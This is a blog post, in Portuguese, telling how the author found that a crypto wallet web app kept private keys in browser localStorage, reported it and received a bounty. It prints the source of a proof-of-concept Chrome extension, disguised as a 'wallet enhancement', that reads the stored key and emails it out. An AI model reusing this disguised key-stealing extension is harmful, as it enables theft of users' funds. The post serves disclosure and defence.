paint-brush
Como encontrei uma vulnerabilidade em uma carteira criptografada e ganhei US$ 1.000por@akrisanov
614 leituras
614 leituras

Como encontrei uma vulnerabilidade em uma carteira criptografada e ganhei US$ 1.000

por Andrey Krisanov4m2023/10/25
Read on Terminal Reader

Muito longo; Para ler

👉🏻 Conselho para desenvolvedores de aplicativos: estejam atentos às tecnologias que você utiliza e seus aspectos de segurança. 💡 Conselhos para usuários de criptografia: aprenda quais opções de segurança uma organização oferece a você, ative a autenticação de dois fatores assim que criar uma conta de carteira, não armazene todos os seus fundos em carteiras quentes.
featured image - Como encontrei uma vulnerabilidade em uma carteira criptografada e ganhei US$ 1.000
Andrey Krisanov HackerNoon profile picture
0-item
1-item
2-item

Em janeiro de 2022, entrei na comunidade de um dos blockchains de prova de aposta. Para brincar com o que o protocolo e seu ecossistema oferecem, criei uma conta de carteira no site oficial https://wallet.****.org . Além da curiosidade geral, eu estava interessado em saber como eles conseguiram segurança em um navegador, especialmente na era das extensões e vulnerabilidades do lado do cliente.


Descobriu-se que quando um usuário fazia login, o aplicativo de carteira (construído no React) gerava um conjunto de chaves públicas e privadas e as armazenava no armazenamento local do navegador. Com minha experiência na criação de autenticação e autorização em sistemas distribuídos, eu sabia que essa não era a melhor coisa a fazer – em geral, é fácil para uma extensão de navegador e um código do lado do cliente ler dados do armazenamento local[ 1 ].


Para provar isso, decidi escrever uma extensão simples para o Chrome que recuperaria as chaves do navegador da vítima e as enviaria para meu endereço de e-mail anônimo.


O diretório raiz da minha extensão de batedor de carteiras ficou assim:


 . ├── content.js ├── email.min.js ├── index.html └── manifest.json


Os arquivos principais são manifest.json e content.js . O primeiro é essencial para instalar a extensão.


 { "name": "X Wallet Enhancement", "version": "1.0", "manifest_version": 3, "content_scripts": [ { "matches": [ "https://wallet.****.org/*" ], "js": [ "email.min.js", "content.js" ] } ] }


email.min.js é apenas uma biblioteca cliente de um dos serviços em nuvem que permite enviar e-mail diretamente de um navegador sem nenhum código de servidor. index.html é uma página HTML em branco que não exibe nada. A lógica de sequestro de carteira residia no arquivo content.js :


 emailjs.init('user_****'); // instantiating an email delivery service let templateParams = { // gathering information about the victim's browser from_name: navigator.userAgent, // fetching wallet keys from the local storage storage: window.localStorage.getItem('_*:wallet:active_account_id_**'), }; // using a prepared email template to send an email with keys const serviceID = 'service_****'; const templateID = 'template_****'; emailjs.send(serviceID, templateID, templateParams) .then(() => { console.log("Wallet keys were send!"); }, (err) => { console.error(JSON.stringify(err)); });

Sim, um script tão fictício.


Empacotei todos os quatro arquivos em um arquivo zip e pedi gentilmente ao meu amigo, que também tinha uma carteira em https://wallet.***.org , para instalar minha criação em seu navegador (fingindo fazer engenharia social). Antes de fazer isso, contei a ele minhas descobertas e a teoria que estava tentando provar. Ele ficou feliz em ajudar, e as chaves públicas e privadas desta conta da carteira apareceram na minha caixa de entrada alguns segundos após a instalação da extensão do navegador. Em seguida, salvei as chaves no armazenamento local em meu navegador e abri o site da carteira.


Surpreendentemente, o saldo da carteira criptográfica do meu amigo estava disponível para mim, juntamente com a opção de retirar os fundos. Durante uma ligação do Zoom com meu amigo vítima, transferi alguns de seus fundos para uma conta anônima e vice-versa. Foi alucinante! Um novo e promissor blockchain que recentemente fechou uma rodada de investimentos tinha uma grande vulnerabilidade em sua carteira. O pior de tudo é que eles tinham autenticação de dois fatores para os usuários. É claro que poucas pessoas o ativariam imediatamente, e muitas não o fizeram.


Como desenvolvedor ético, criei um relatório de vulnerabilidade, incluindo o código-fonte da extensão do navegador e minhas ideias sobre como melhorar a segurança do aplicativo web. Ele foi enviado diretamente para o endereço de e-mail da equipe de segurança no dia 18 de janeiro. Alguns dias depois, recebi uma ligação do CISO do protocolo blockchain, que me garantiu que estava ciente do problema e que o resolveria no próximo lançamento. Fiquei um pouco decepcionado com a rapidez da resposta ao incidente. Dois dias é uma eternidade quando se fala do dinheiro dos usuários. No entanto, os desenvolvedores do blockchain me concederam seus tokens no valor equivalente a 1.000 USDT.


👉🏻 Conselho para desenvolvedores de aplicativos: estejam atentos às tecnologias que você utiliza e seus aspectos de segurança.


💡 Conselhos para usuários de criptografia: aprenda quais opções de segurança uma organização oferece a você, ative a autenticação de dois fatores assim que criar uma conta de carteira, não armazene todos os seus fundos em carteiras quentes.


Vale a pena ler


Também publicado aqui .